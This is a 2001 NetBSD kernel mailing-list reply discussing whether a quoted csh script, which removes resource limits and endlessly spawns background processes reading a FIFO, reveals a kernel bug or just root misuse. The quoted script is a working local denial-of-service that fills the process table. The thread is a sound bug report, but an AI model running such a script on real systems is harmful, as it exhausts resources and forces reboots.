Subject: Re: denial of service shell script
To: None <tech-kern@netbsd.org>
From: David Laight <David.Laight@btinternet.com>
List: tech-kern
Date: 12/18/2001 11:08:36
> 
> The following script used to crash NetBSD and OpenBSD a few years ago, I
> just tested it on -current, just to check that it was fixed, and it
> seems to turn into a nice denial of service script now. After it ran,
> process table is full, and it seems I'm bound to reboot to fix things.
> 
> Is it a bad local setup at mine, or a real bug?

Or just one of the many ways root can shoot himself in the foot?
The is (probably) a limit on the number of processes a non-root
user can have (although clearly several could gang up on the system).

    David

> 
> #!/bin/csh
> set path = ( /usr/bin /usr/sbin /bin /sbin )
> unlimit
> cd /tmp
> if ( -e fifo ) then
> rm fifo
> endif
> mkfifo fifo
> while ( 1 )
> cat fifo >& /dev/null &
> end
> 
> 
> -- 
> Emmanuel Dreyfus
> manu@netbsd.org